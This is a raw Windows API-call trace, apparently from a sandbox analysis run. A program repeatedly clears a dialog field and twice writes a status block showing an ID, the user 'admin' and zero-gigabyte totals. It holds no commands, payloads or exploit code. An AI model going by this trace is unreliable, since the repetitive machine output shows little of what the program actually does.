[0082.585] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0082.644] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0082.645] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0082.732] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0082.732] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0082.774] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0082.774] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0082.832] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0082.832] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0082.894] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0082.894] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0082.957] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0082.957] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0083.028] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0083.028] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0083.096] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0083.096] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0083.156] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0083.156] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0083.222] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0083.222] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0083.274] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0083.274] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0083.341] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0083.342] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0083.409] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0083.409] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0083.460] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0083.460] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0083.519] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0083.519] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0083.584] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0083.584] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0083.644] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0083.644] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0083.706] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0083.706] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0083.771] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0083.771] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0083.831] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0083.831] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0083.893] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0083.893] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0083.987] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0083.987] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0084.017] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0084.017] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0084.080] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0084.080] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0084.150] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0084.150] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0084.523] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0084.523] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0084.538] wsprintfW (in: param_1=0x18f3f0, param_2="1. ID: %08X\r\n2. %s\r\n" | out: param_1="1. ID: 4B2E4630\r\n2. admin\r\n") returned 27 [0084.538] wsprintfW (in: param_1=0x18f3f0, param_2="3. Total: %I64d.%02I64d gb (%u)/%I64d.%02I64d gb (%u)/%u%%\r\n" | out: param_1="3. Total: 0.00 gb (0)/0.00 gb (0)/0%\r\n") returned 38 [0084.538] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1005) returned 0x6015a [0084.538] SetWindowTextW (hWnd=0x6015a, lpString="1. ID: 4B2E4630\r\n2. admin\r\n--------------------\r\n3. Total: 0.00 gb (0)/0.00 gb (0)/0%\r\n") returned 1 [0084.553] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0084.553] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0084.638] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0084.638] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0084.688] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0084.688] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0084.769] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0084.770] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0084.814] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0084.814] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0084.906] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0084.906] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0084.937] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0084.937] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0085.016] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0085.016] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0085.062] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0085.062] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0085.150] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0085.150] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0085.187] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0085.187] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0085.248] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0085.248] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0085.297] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0085.297] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0085.359] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0085.360] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0085.422] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0085.422] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0085.484] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0085.484] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0085.547] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0085.547] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0085.631] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0085.631] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0085.674] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0085.674] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0086.093] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0086.093] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0086.139] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0086.139] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0086.233] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0086.233] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0086.279] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0086.279] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0086.352] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0086.352] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0086.434] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0086.434] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0086.482] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0086.482] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0086.576] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0086.576] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0086.622] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0086.623] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0086.669] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0086.669] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0086.746] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0086.746] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0086.779] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0086.780] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0086.841] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0086.841] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0086.904] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0086.904] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0086.972] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0086.972] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0087.029] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0087.029] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0087.124] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0087.124] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0087.160] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0087.160] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0087.675] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0087.675] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0087.714] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0087.715] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0087.795] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0087.795] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0087.855] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0087.855] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0087.943] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0087.943] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0087.995] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0087.995] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0088.045] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0088.045] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0088.137] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0088.137] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0088.182] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0088.182] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0088.229] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0088.229] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0088.290] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0088.290] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0088.339] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0088.339] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0088.402] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0088.402] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0088.465] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0088.465] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0088.527] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0088.528] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0088.589] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0088.589] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0088.682] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0088.682] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0088.713] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0088.713] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0088.780] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0088.780] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0088.838] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0088.838] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0088.901] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0088.901] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0089.132] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0089.132] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0089.181] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0089.181] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0089.243] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0089.243] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0089.306] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0089.306] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0089.369] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0089.369] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0089.430] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0089.430] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0089.493] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0089.493] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0089.555] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0089.555] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0089.618] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0089.618] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0089.847] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0089.847] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0089.889] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0089.889] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0089.945] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0089.946] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0090.049] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0090.049] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0090.086] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0090.086] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0090.181] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0090.181] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0090.733] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0090.733] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0091.153] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0091.153] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0091.211] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0091.211] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0091.275] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0091.275] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0091.365] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0091.365] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0091.427] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0091.427] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0091.474] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0091.474] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0091.568] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0091.568] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0091.587] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0091.587] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0091.646] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0091.646] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0091.708] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0091.708] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0091.772] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0091.772] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0091.833] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0091.833] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0091.906] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0091.906] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0091.961] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0091.961] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0092.210] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0092.210] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0092.365] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0092.365] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0092.502] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0092.502] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0092.550] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0092.550] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0092.620] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0092.620] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0092.708] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0092.708] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0092.753] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0092.753] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0092.809] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0092.809] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0092.894] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0092.894] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0092.926] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0092.926] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0092.988] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0092.988] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0093.050] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0093.050] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0093.113] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0093.113] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0093.175] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0093.175] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0093.268] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0093.268] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0093.301] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0093.305] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0093.758] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0093.758] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0093.815] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0093.815] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0093.901] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0093.901] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0093.973] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0093.973] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0094.032] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0094.032] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0094.091] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0094.091] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0094.127] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0094.127] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0094.189] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0094.189] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0094.253] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0094.253] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0094.314] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0094.314] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0094.376] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0094.376] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0094.439] wsprintfW (in: param_1=0x18f3f0, param_2="1. ID: %08X\r\n2. %s\r\n" | out: param_1="1. ID: 4B2E4630\r\n2. admin\r\n") returned 27 [0094.439] wsprintfW (in: param_1=0x18f3f0, param_2="3. Total: %I64d.%02I64d gb (%u)/%I64d.%02I64d gb (%u)/%u%%\r\n" | out: param_1="3. Total: 0.00 gb (0)/0.00 gb (0)/0%\r\n") returned 38 [0094.439] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1005) returned 0x6015a [0094.439] SetWindowTextW (hWnd=0x6015a, lpString="1. ID: 4B2E4630\r\n2. admin\r\n--------------------\r\n3. Total: 0.00 gb (0)/0.00 gb (0)/0%\r\n") returned 1 [0094.448] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0094.448] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0094.547] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0094.547] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0094.563] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0094.563] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0094.625] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0094.625] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0094.688] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0094.688] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0094.750] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0094.750] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0094.813] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0094.813] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0094.875] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0094.875] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0094.940] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0094.940] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0095.000] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0095.000] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0095.078] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0095.078] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0095.307] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0095.307] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0095.389] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0095.389] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0095.437] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0095.437] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0095.499] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0095.499] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0095.561] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0095.561] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0095.624] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0095.624] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0095.686] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0095.686] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0095.748] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0095.748] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0095.811] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0095.811] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0095.873] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0095.873] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0095.936] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0095.936] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0095.999] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0095.999] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0096.061] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0096.061] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0096.123] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0096.123] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0096.185] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0096.185] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0096.248] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0096.248] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0096.310] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0096.310] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0096.372] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0096.372] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0096.435] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0096.435] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0096.498] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0096.498] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0096.560] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0096.560] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0096.622] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0096.622] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0096.684] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0096.684] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0096.747] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0096.747] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0096.812] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0096.812] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0096.872] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0096.872] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0096.935] 